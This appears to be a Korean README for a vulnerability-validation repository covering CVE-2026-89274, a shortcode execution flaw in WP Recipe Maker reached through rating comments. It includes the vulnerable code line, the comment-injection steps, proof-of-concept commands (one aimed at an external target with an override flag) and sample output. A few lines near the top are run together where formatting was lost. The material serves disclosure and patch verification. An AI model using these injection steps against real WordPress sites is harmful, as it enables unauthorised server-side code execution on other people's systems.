CVE-2026-89274에 대한 Docker 검증 랩 및 Python PoC로, WP Recipe Maker <= 10.8.1에서 rating-comment reviewBody를 통한 임의 숏코드 실행을 입증합니다.
CVE-2026-89274를 재현하고 검증하기 위한 보안 연구 자료: WP Recipe Maker <= 10.8.1은 승인된 평점 댓글을 통해 심어진 레시피 JSON-LD 메타데이터 내에서 임의의 등록된 WordPress 숏코드를 실행합니다.
do_shortcode_safe로 대체됨)AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) - CWE-94소유하거나 명시적으로 테스트 권한을 부여받은 시스템에서만 사용하십시오. 이 PoC는 랩에 등록된 마커 숏코드를 포함한 평점 댓글 하나를 게시합니다. 파괴적인 숏코드는 사용되지 않으며 디스크에 아무것도 기록되지 않습니다.
상태: 제공된 랩에서 입증됨.
WP Recipe Maker 10.8.1 (WordPress 7.1.2, 기본 레시피 카드 모델):
comment posted : "[cve89274]" + wprm-comment-rating=5 on the recipe's parent post
result : JSON-LD on the rendered page contains
"reviewBody":"CVE89274-SHORTCODE-FIRED"
(marker shortcode executed server-side at render time)
10.8.2 : shortcode stripped, marker absent (patched negative control)
이는 출력이 페이지 메타데이터에 포함되어 모든 방문자에게 공개되는, 임의의 등록된 숏코드의 서버 측 실행을 입증합니다. RCE를 입증하는 것은 아니며, 영향은 대상에 등록된 숏코드(게시물/메타 노출, 부작용이 있는 플러그인 제공 숏코드)에 따라 달라집니다.
WPRM_Metadata::sanitize_metadata()는 레시피의 구조화된 메타데이터 배열의 모든 스칼라
필드를 재귀적으로 정리합니다:
// includes/public/class-wprm-metadata.php:553, WP Recipe Maker 10.8.1
$sanitized = strip_shortcodes( wp_strip_all_tags( do_shortcode( $metadata ) ) );
// 10.8.2
$sanitized = strip_shortcodes( wp_strip_all_tags( WPRM_Instacart::do_shortcode_safe( $metadata ) ) );
do_shortcode()가 숏코드를 먼저 실행하며, strip_shortcodes()
래퍼는 이미 실행된 출력에서 태그만 제거합니다. 필드 중 하나인 reviewBody는
wprm-comment-rating 메타 값을 가진 승인된 댓글의 comment_content로부터
그대로 채워지며(class-wprm-metadata.php:1016), 레시피의 부모
게시물(post_id => $recipe->parent_post_id(), 973행) - 즉 레시피 카드가 포함된
게시물 또는 페이지 - 에 대해 쿼리됩니다.
10.8.2의 대체 구현인 WPRM_Instacart::do_shortcode_safe()
(class-wprm-instacart.php:501)는 내부 콘텐츠만 유지하고 아무것도 실행하지 않습니다.
[wprm-recipe]를 포함하는 게시물/페이지)을 대상으로 합니다.wprm-comment-rating=5와 함께 /wp-comments-post.php로
댓글을 POST합니다.review 배열에 포함시키고,
sanitize_metadata()가 숏코드를 실행합니다. 그 출력이
reviewBody 내부의 댓글 텍스트를 대체하여 모든 방문자에게 표시됩니다.요구 사항: Compose v2가 있는 Docker, 호스트의 Python 3.10+.
./lab verify
10.8.1 랩을 빌드하고 마커가 실행되기를 요구한 다음, 10.8.2
랩을 빌드하고 그 부재를 요구합니다. ./lab reset으로 모든 것을 제거합니다.
취약한 컨트롤:
[!!!] SHORTCODE EXECUTION CONFIRMED
evidence: 'CVE89274-SHORTCODE-FIRED' present in the rendered recipe page
context : ..."reviewBody":"CVE89274-SHORTCODE-FIRED","author":...
RESULT: VULNERABLE CONTROL CONFIRMED
패치된 컨트롤:
[=] shortcode text present but NOT executed: output was stripped
RESULT: PATCHED CONTROL CONFIRMED
페이지에서 표시된 댓글(원시 텍스트) 내부에만 마커가 있는 것은 증거로 인정되지 않으며, 마커는 메타데이터에서 실행된 출력으로 나타나야 합니다.
./lab start vulnerable # 10.8.1 lab on http://127.0.0.1:9482
./lab test # assert marker fires
./lab start patched # 10.8.2 lab
./lab test # assert absence
./lab status
./lab reset
PoC를 직접 실행합니다(기본 루프백, 권한을 부여받은 외부 대상은 명시적 재정의 필요):
python3 poc/poc_cve_2026_89274.py --url http://127.0.0.1:9482 --post-id 5
python3 poc/poc_cve_2026_89274.py --url https://target.example \
--allow-authorized-non-loopback [--insecure]
nuclei 템플릿(nuclei/cve-2026-89274.yaml)은 버전 스크린일 뿐입니다
(readme.txt stable tag <= 10.8.1). 동작 체인은 댓글 제출과 승인 전환이
필요하며, 이는 nuclei로 표현하기 실용적이지 않습니다. Python PoC가 전체
흐름을 수행합니다.
| 버전 | 평가 |
|---|---|
| WP Recipe Maker 10.8.1 | 숏코드 실행이 처음부터 끝까지 재현됨 |
| WP Recipe Maker 10.8.2 | 패치된 네거티브 컨트롤 재현됨 |
| WP Recipe Maker <= 10.8.0 | 권고에 따라 영향받음, 개별 테스트되지 않음 |
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│ └── cve-2026-89274.yaml
└── poc/
└── poc_cve_2026_89274.py
커밋되지 않음: assets/ (플러그인 zip), .lab-state, __pycache__/.
| 주장 | 상태 |
|---|---|
| 평점 댓글 reviewBody를 통한 숏코드 실행 | 입증됨 (10.8.1) |
| 렌더링된 JSON-LD에 실행 출력 공개 | 입증됨 |
| 패치된 네거티브 컨트롤 (10.8.2) | 입증됨 |
| 기본 구성 (비공개 레시피 CPT + 부모 게시물) | 입증됨 (이것이 랩 토폴로지임) |
| 공개 레시피 게시물 유형 구성 | 테스트되지 않음 |
| 대체 진입점으로서 WPRM 자체의 평점 REST 엔드포인트 | 테스트되지 않음 |
| 등록된 숏코드 출력을 넘어서는 영향 (RCE) | 주장하지 않음 |
이 저장소는 소유하거나 명시적으로 테스트 권한을 부여받은 시스템에서만
실행하십시오. 랩 드라이버는 vulnerable/patched 이외의 변형을 거부하고,
PoC는 --allow-authorized-non-loopback이 제공되지 않는 한 비루프백 대상을
거부하며, Compose 포트는 127.0.0.1에 바인딩됩니다.
공개 처리에 대해서는 SECURITY.md를 참조하십시오. 이 저장소는 프로덕션 대상, 고객 데이터, 액세스 토큰 또는 실제 시스템의 증거를 포함하지 않습니다.
MIT - LICENSE를 참조하십시오.